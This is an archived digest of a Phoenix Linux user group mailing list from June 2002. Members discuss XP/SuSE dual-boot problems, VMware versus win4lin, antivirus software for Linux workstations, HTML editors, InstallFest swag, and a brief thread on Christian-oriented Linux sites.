plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:41:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 08:41:26 -0700 Subject: XP/Linux dual boot In-Reply-To: <000501c21125$040fc640$6501a8c0@ph.cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> Message-ID: <200206110841.29148.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would install XP in a fat32 partition. Don't use NTFS. As far as I know, you can't modify the fat32 partition that XP is on, or it will break it's crc consistency and it won't boot. I don't know if that means the partition table in general or not. You might try getting a copy of partition magic 7 and use that. If you don't have it, I can loan you a copy of the rescue disks. nathan Am Dienstag 11 Juni 2002 01:50 vormittags schrieb Matt: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BhopQ7yNnsYcupwRAtp2AJsHdd5d1wyIysWAnuvpVtqRWL96CgCfbyTe 757NsbB3WVwJzPxIsWhjcpc= =8O5p -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:47:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 08:47:11 -0700 Subject: Windows and Linux In-Reply-To: <3D05E163.2F12A01A@georgetoft.com> References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> Message-ID: <200206110847.11590.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ouch! That's a little our of my price range! Am Dienstag 11 Juni 2002 04:39 vormittags schrieb George Toft: > Hi Nathan, > > The price for vmware is $299. > > George > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > George, > > How much did you pay for vmware? > > > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > > My experience with vmware is very positive. Issues with vmware: > > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > > new software > > > downloads, three reboots (virtual), and 2 crashes, all I got was > > > static. - vmware does not do streaming media via USB. Want to use a > > > USB camera? Forget it. > > > - vmware with sound is usually preceeded with a loud pop. > > > - vmware does not support directx very well (if at all). > > > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > > me blue screens, > > > just like the real thing. > > > > > > George > > > > > > Mike Porter wrote: > > > > Ok, this is intriguing to me. I am looking to migrate my house over > > > > to Linux, but I have some apps for which I cannot find comparable > > > > *nix substitutes. (Believe it or not, the request to move torward > > > > Linux is at my wife's request) > > > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > > offer me your best suggestions as far as which you prefer and which > > > > flavor of Linux you believe is most solid with your choice? Also, > > > > any gotchas that you can think of would be most helpful. > > > > > > > > Also, has anyone run into problems with accessing Windows only > > > > devices using either of these options? > > > > > > > > Mike > > > > > > > > -----Original Message----- > > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > > Sent: Sunday, May 26, 2002 9:36 PM > > > > To: plug-discuss@lists.plug.phoenix.az.us > > > > Cc: punkmmiv@cox.net > > > > Subject: Re: Windows and Linux > > > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > > > Matt wrote: > > > > > I know that Windows and Linux are supposed to operate pretty well > > > > > together, but the only articles I've read are about installing > > > > > Linux once Windows is already there. I'm running a pure SuSE 8.0 > > > > > box and I was wondering if it's possible to install Windows on it > > > > > while still being able to use my current install? > > > > > > > > Try win4lin. It lets you run windows as a window inside your > > > > GNU/Linux environment. Unlike VMWare and friends it is not a VM. > > > > Also, unlike WINE it actually works and works well. It will even let > > > > windows use (read/write) to your GNU/Linux file systems and such. It > > > > is not free, but neither is M$ Windows (so I assume you dont have a > > > > problem with that) and it is by far the best way to 'suffer' M$ while > > > > not having to 'leave' a real operating system. > > > > > > > > -Derek > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > > UHgqeghEeXKGOxPtBOCylhE= > > =GPfW > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9Bht/Q7yNnsYcupwRAhNWAKChScTJATCgmuNIRvNoSCKzhbKd5QCgiJ1C UyLE5jAFRuvxRSWhfXHE6dI= =4T27 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:47:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 08:47:25 -0700 Subject: Lycoris RedmondLinux Message-ID: <1023810445.3d061b8d99ebb@webmail.freedom2surf.net> I called them this morning and left a message inviting them to be a part of the InstallFest. will let you know what response I get. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:50:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 08:50:11 -0700 Subject: Linux for Christians References: <4A8DFDA6B395D411A11B00508BEE23FE76B46C@mail.int.fh.org> Message-ID: <3D061C33.3080504@ttiltd.com> Amen to this one. I have never implied that Christians have monopoly on misconceptions. There are considerable number of other people who commit the same mistakes. Greg Tom Achtenberg wrote: >There are lots of closed minded non Christians who feel the internet is evil too. We need to educate them all. I agree, technology itself is not good or bad, it is how it is used and the users need to take personal responsibility as to how they use it within their own beliefs. > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:57 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >It was not ment to be blanket accusation. >It was directed only to the close minded ones >that blame technology instead the people >who are responsible. > > >Greg > > >Tom Achtenberg wrote: > > > >>In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". >> >>-----Original Message----- >>From: Greg [mailto:greg@ttiltd.com] >>Sent: Tuesday, June 11, 2002 7:35 AM >>To: plug-discuss@lists.plug.phoenix.az.us >>Subject: Re: Linux for Christians >> >> >>Heeeeeey....!!!! >> >>Put the cat down and step away from the keyboard! >>haha, just joking >> >>Internet is evil? >>Damn! sometimes I still feel like I am living in dark ages. >>When do these morons realize that technology is never good or bad! >>It is neutral and only what you do with it is good or bad! >> >>For what it's worth I could probably use some Christian distro and host >>pron on it. (LOL) >>How does this sound to you all? Whould that constitute blasphemy? >> >>Greg >> >> >>Voltage Spike wrote: >> >> >> >> >> >>>-----BEGIN PGP SIGNED MESSAGE----- >>>Hash: SHA1 >>> >>>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >>> >>> >>> >>> >>> >>> >>>>What *this* site is is yet another Special Interests Group with links >>>>to software related to their interest. It's no different, really, >>>>than an animal lover offering links to screensavers, wallpapers, pet >>>>interaction programs, and the like. Or any low-budget advocacy group >>>>sharing info on using Linux to advance the cause. >>>> >>>> >>>> >>>> >>>> >>>> >>>Don't worry. We'd laugh at the cat lovers as well. No harm >>>intended. ;-) >>> >>> >>> >>> >>> >>> >>> >>>>I actually did something a *little* similar not that long ago with my >>>>own church in an attempt to get people to interact more online. I had >>>>some tutorials and the like written up on how to use Linux and ogg >>>>vorbis (and was getting into icecast) to allow church members spread >>>>around the country and the world to still stay in touch. >>>>Hmm.. although in my case, midway through my work, I was told by the >>>>Church Board that I was to cease and desist any and all work I was >>>>doing since the Internet was evil (no joke) and they thought people >>>>should spend less time online, not more. Ah well. >>>> >>>> >>>> >>>> >>>> >>>> >>>"Evil"? I think I hear the words of an individual with little >>>experience. They need to keep in mind that the first amendment doesn't >>>just apply to them. >>> >>>In the case of spending more time offline, that is certainly a common >>>thread among society. However, if the religious leader of choice can >>>spend a couple of hours a day talking to people, then they should >>>respect my right to do the same. >>> >>>Your project sounds like it is dying to be placed on the PLUG website, >>>though. :-) >>> >>>- -- >>> Voltage Spike >>> ,,, >>> (. .) >>>- --ooO-(_)-Ooo-- >>>-----BEGIN PGP SIGNATURE----- >>>Version: GnuPG v1.0.6 (GNU/Linux) >>>Comment: For info see http://www.gnupg.org >>> >>>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>>+nl5JW8PnnIFGzFr+PUmJrs= >>>=xg3K >>>-----END PGP SIGNATURE----- >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>> >>> >>> >>> >>> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 08:57:55 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> Message-ID: <200206110857.55452.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 07:14 am, Tom Achtenberg wrote: > At least it isn't cox Hey! Cox is excellent. Unless you need greater than 90% uptime. Or you need decent webmail. Or you want decent customer service. ;-) Otherwise, great speeds, great prices, and great NNTP server retention rate. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:05:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 11 Jun 2002 09:05:25 -0700 Subject: XP/Linux dual boot Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DCF@azmscorp01.corp.azms> Chech out this url. http://www.computing.net/linux/wwwboard/forum/8997.html It might be of some help. Larry -----Original Message----- From: Nathan England [mailto:plug@the-arcanum.org] Sent: Tuesday, June 11, 2002 8:41 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: XP/Linux dual boot -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would install XP in a fat32 partition. Don't use NTFS. As far as I know, you can't modify the fat32 partition that XP is on, or it will break it's crc consistency and it won't boot. I don't know if that means the partition table in general or not. You might try getting a copy of partition magic 7 and use that. If you don't have it, I can loan you a copy of the rescue disks. nathan Am Dienstag 11 Juni 2002 01:50 vormittags schrieb Matt: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BhopQ7yNnsYcupwRAtp2AJsHdd5d1wyIysWAnuvpVtqRWL96CgCfbyTe 757NsbB3WVwJzPxIsWhjcpc= =8O5p -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:11:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 09:11:42 -0700 Subject: XP/Linux dual boot In-Reply-To: <000501c21125$040fc640$6501a8c0@ph.cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> Message-ID: <200206110911.42188.krycom1@cox.net> On Tuesday 11 June 2002 1:50 am, Matt wrote: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? Matt, I install SuSE all the time as a dual boot system and it's one of the few linux distro's that works flawless. However, I assume when you installed Windows XP you told XP to format/partition only half the drive? -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 01:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Mon, 10 Jun 2002 18:39:08 -0700 Subject: PLUG-discuss digest, Vol 1 #2329 - 9 msgs In-Reply-To: <200206100540.g5A5e4231706@PlugList.MyButt.Net> References: <200206100540.g5A5e4231706@PlugList.MyButt.Net> Message-ID: <200206101839.08105.dan_lund@hotmail.com> I run InterCheck virus scanner on my Linux machine. It's quite nice, although I don't find many virii, if any. I haven't had one line from InterCheck in my syslog about a virus:) It scans for alot of well known virii. You can check it out at http://www.sophos.com There is a version you can download, and really has no restrictions. I think.... I haven't ran into any. -- Dan Lund > On Sun, 9 Jun 2002, Charlie Bullen wrote: > > I have been able to get Opera on Suse 7.3 to present itself to SoncWall > > as IE 5, but it still won't let me through. The solution proposed by > > sonic wall is to assign a Static ip address to my linux box and exepmt > > that ip from the anti virus requirement. This is possible to do, but I > > may have a hard time selling this idea to my employer. > > > > Is there any danger and if so how much, to running a linuxbox with no > > anti virus protection on a network that is all win98 or XP workstations? > > Many Linux servers, but this would be the first linux workstation. > > > > I've never heard of such a thing but is there antivirus software for > > linux? > > > > Regards, > > > > > > Charlie From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 01:45:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Mon, 10 Jun 2002 18:45:14 -0700 Subject: WYSIWYG editors Message-ID: <200206101845.14856.dan_lund@hotmail.com> I personally use the HTML editor that comes with Mozilla. Now, I do alot of coding by hand, forms and such, however when it comes to the proper layout of frames and tables, I really SUCK. (I'm a visual person in that respect) The reason I use the Mozilla Composer is because when it's saved, it's actually readable and able to be edited by hand! I really love that feature... and when you do something to it by hand, and bring it back into composer it doesn't twist it into a bloody mess. The only problems I have with it are trying to do Relative URLs. After editing an HTMl doc, I open it up in vi and just run: ":%s/file:\/\/\/whatever-directory-it-is-in//g" and that removes everything I don't want. Guess even though it's a 1.0, theres still a few bugs. Doesn't do forms and form elements for you though, you have to do those by hand. It will display them perfectly, and move them around. -- Dan -- quote -- Message: 1 Date: Sun, 09 Jun 2002 15:41:20 -0700 From: Greg Furmanek To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: WYSIWYG Editor Reply-To: plug-discuss@lists.plug.phoenix.az.us I have tried a lot of wysiwyg editors and I have to say that coding by hand beats it all Greg Bryce C. wrote: >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really >hate having to type out table html by hand. > >Bryce C. >Network Administrator >CoBryce Communications >Bryce @ BryceCo . Net > -- end quote -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:34:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 10 Jun 2002 20:34:44 -0700 Subject: Installfest Suggestion In-Reply-To: References: Message-ID: <200206102034.44166.alandd@consultpros.com> I just recieved the shipment from SuSE today. It has about 10-12 (I didn't count) 7.2 live eval CDs. It has lots of other good stuff too! Alan On Monday 10 June 2002 08:29 pm, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > This is seperate from my other question regarding the installfest. > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > just want to try linux? I'd be willing to burn half a dozen copies or > > so if no one else is already planning on bringing it. I found it the > > least "stressful" of all dual boots and it takes up a minimal amount of > > HD space but the drawback is that it runs from the CD. Still this would > > allow people to dip their toe in a "user-friendly" Linux pond. > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > SuSE. Yes, I hope we have plenty to give out. > > A few bootable business cards would be good too. I'll check on those. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:06:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar @esaravana) Date: Mon, 10 Jun 2002 14:06:30 -0700 Subject: Firwwire for Linux Message-ID: <3D0514D6.4070404@esaravana.com> I have to get a Firewire card for my Videocam. Do you suggest any Linux compatible cards? Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:15:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 09:15:46 -0700 Subject: XP/Linux dual boot In-Reply-To: <200206110841.29148.plug@the-arcanum.org> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> <200206110841.29148.plug@the-arcanum.org> Message-ID: <200206110915.46929.krycom1@cox.net> On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > I would install XP in a fat32 partition. Don't use NTFS. > As far as I know, you can't modify the fat32 partition that XP is on, or it > will break it's crc consistency and it won't boot. > > I don't know if that means the partition table in general or not. > You might try getting a copy of partition magic 7 and use that. > If you don't have it, I can loan you a copy of the rescue disks. > > nathan I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the drive and SuSE on the other half and as a dual boot system. Works fine!! -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:57:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Tue, 11 Jun 2002 10:57:09 -0400 (EDT) Subject: Niche Linux Distros In-Reply-To: <3D060829.8090904@ttiltd.com> Message-ID: One of the great strengths of Linux for us geeks is that it's easy to find the right distro. Want stability? use Debian or Slackware. Easy to install on the desktop? SuSE or Mandrake. Lots of industry support? RedHat. Minimalist? Linux From Scratch. (fill in your preferred flavor wherever appropriate) Niche marketing is something Linux is uniquely well adapted too, because of its componentized, open nature. The freedom to use Linux as one sees fit, as long as you allow others to do the same, is the entire point of the GPL. Sharing your results is a Good Thing, no matter who your distro appeals to. Extending this concept beyond the realm of geeks to end user niches like churches will help us to drive Microsoft's market share back to a level where they can once again be a healthy competitor (or destroy them if you prefer that objective). JM2C From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:23:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 11:23:58 -0500 Subject: PLUG-discuss digest, Vol 1 #2329 - 9 msgs In-Reply-To: <200206101839.08105.dan_lund@hotmail.com>; from dan_lund@hotmail.com on Mon, Jun 10, 2002 at 06:39:08PM -0700 References: <200206100540.g5A5e4231706@PlugList.MyButt.Net> <200206101839.08105.dan_lund@hotmail.com> Message-ID: <20020611112358.B79360@lilly.csoft.net> I agree. I used Sophos at my last place. Works like a charm for a Samba server :-) On Mon, Jun 10, 2002 at 06:39:08PM -0700, Dan Lund wrote: I run InterCheck virus scanner on my Linux machine. It's quite nice, although I don't find many virii, if any. I haven't had one line from InterCheck in my syslog about a virus:) It scans for alot of well known virii. You can check it out at http://www.sophos.com There is a version you can download, and really has no restrictions. I think.... I haven't ran into any. -- Dan Lund > On Sun, 9 Jun 2002, Charlie Bullen wrote: > > I have been able to get Opera on Suse 7.3 to present itself to SoncWall > > as IE 5, but it still won't let me through. The solution proposed by > > sonic wall is to assign a Static ip address to my linux box and exepmt > > that ip from the anti virus requirement. This is possible to do, but I > > may have a hard time selling this idea to my employer. > > > > Is there any danger and if so how much, to running a linuxbox with no > > anti virus protection on a network that is all win98 or XP workstations? > > Many Linux servers, but this would be the first linux workstation. > > > > I've never heard of such a thing but is there antivirus software for > > linux? > > > > Regards, > > > > > > Charlie ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:30:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Mon, 10 Jun 2002 11:30:02 -0700 Subject: SonicWall and linux client Message-ID: <001301c210ac$d5a27b90$6600a8c0@YICHENGWIN2K> There are several Linux-based Anti-virus software products out there. I had to look for one as part of a departmental security audit with my last employer. The rational is: 1) Linux boxes can become infected with Trojans, backdoors, or Root kits once a malicious attacker is able to gain access to the machine. This, BTW, is very possible, since many of the Linux service daemons are still relatively new and are prone to vulnerabilities like buffer overruns or malformed packets. If you do run a Linux machine, I highly recommend setting up some kind of host-based Firewall program. Even if you are on a LAN protected by a Firewall, most of those only scan packets coming from the outside. So, if your fellow co-workers on a Winbox is prone to opening email attachments or perhaps somebody left a PCAnywhere server running, (surprise!) you are now potentially vulnerable to attacks from his computer as well. 2) Linux with Samba often serve as file/print/domain servers for Windows machines. Even though the Linux box isn't susceptible to the viruses themselves, it can still be a carrier for the virus, storing them as the various Windesktops become infected by accessing it's file systems. I decided to go with Sophos Anti-Virus (www.sophos.com), but that was two years ago. It's fairly user friendly and pretty fast (with a virus def file that you can pull down regularly via a cron job). I've just done a Google search on "linux anti-virus" and found a whole bunch of other anti-virus programs that have popped up since then. Maybe one of those is better, maybe not. Yicheng Date: Sun, 9 Jun 2002 21:14:12 -0700 (PDT) From: Matt Alexander To: Subject: Re: SonicWall and linux client Reply-To: plug-discuss@lists.plug.phoenix.az.us Just tell your admin that you're running Linux so you don't have to worry about all the Windows viruses out there (he/she should be scanning or blocking email attachments on the mail server anyway). Give your box a static IP, have your admin tell the SonicWall to let you through, and you're set. Viruses on Linux are possible, but their propogation is slowed by a number of factors, such as: 1) Less Linux workstations directly connected to the Internet, relative to Windows boxes. Expect this to change in the future as more users and businesses start using Linux. 2) Linux users are usually more technically savvy and less likely to run strange attachments. Expect this to change in the future as well. 3) Damage is limited to only the files that the user can change/delete. ~M On Sun, 9 Jun 2002, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall as IE 5, but it still won't let me through. The solution proposed by sonic wall is to assign a Static ip address to my linux box and exepmt that ip from the anti virus requirement. This is possible to do, but I may have a hard time selling this idea to my employer. > > Is there any danger and if so how much, to running a linuxbox with no anti virus protection on a network that is all win98 or XP workstations? Many Linux servers, but this would be the first linux workstation. > > I've never heard of such a thing but is there antivirus software for linux? > > Regards, > > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:28:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Tue, 11 Jun 2002 09:28:00 -0700 Subject: XP/Linux dual boot Message-ID:

What about multiple Linux Distros ?  I have RedHat 7.3, SuSE 8.0, and Slackware 7.0 which I would like to have installed on my Dell Optiplex GX150.  I have two drives, one which is partitioned in two. All three partitions currently in DOS and around 10 GB.  Will, for instance, RedHat LILO recognize all three Distros and allow me to choose which one to mount upon startup ?  As it would with, let's say, one Linux Distro and a Windows OS ?

Thanks

Jeff James

On Tuesday 11 June 2002 8:41 am, Nathan England wrote:
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> I would install XP in a fat32 partition. Don't use NTFS.
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> I don't know if that means the partition table in general or not.
> You might try getting a copy of partition magic 7 and use that.
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I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the
drive and SuSE on the other half and as a dual boot system. Works fine!!
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From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 17:00:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 10:00:17 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> <200206110841.29148.plug@the-arcanum.org> <200206110915.46929.krycom1@cox.net> Message-ID: <3D062CA1.642704EA@qwest.net> But then you can't mount and use the Windows partitions under linux. "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > As far as I know, you can't modify the fat32 partition that XP is on, or it > > will break it's crc consistency and it won't boot. > > > > I don't know if that means the partition table in general or not. > > You might try getting a copy of partition magic 7 and use that. > > If you don't have it, I can loan you a copy of the rescue disks. > > > > nathan > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > drive and SuSE on the other half and as a dual boot system. Works fine!! > > -- > Richard L. Proctor > Krystal Computer Services > PC Repairs & Upgrades > www.krycom.com > 480-699-3098 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 17:11:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 10:11:33 -0700 Subject: XP/Linux dual boot In-Reply-To: References: Message-ID: <200206111011.33766.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 09:28 am, Jeff James wrote: > What about multiple Linux Distros 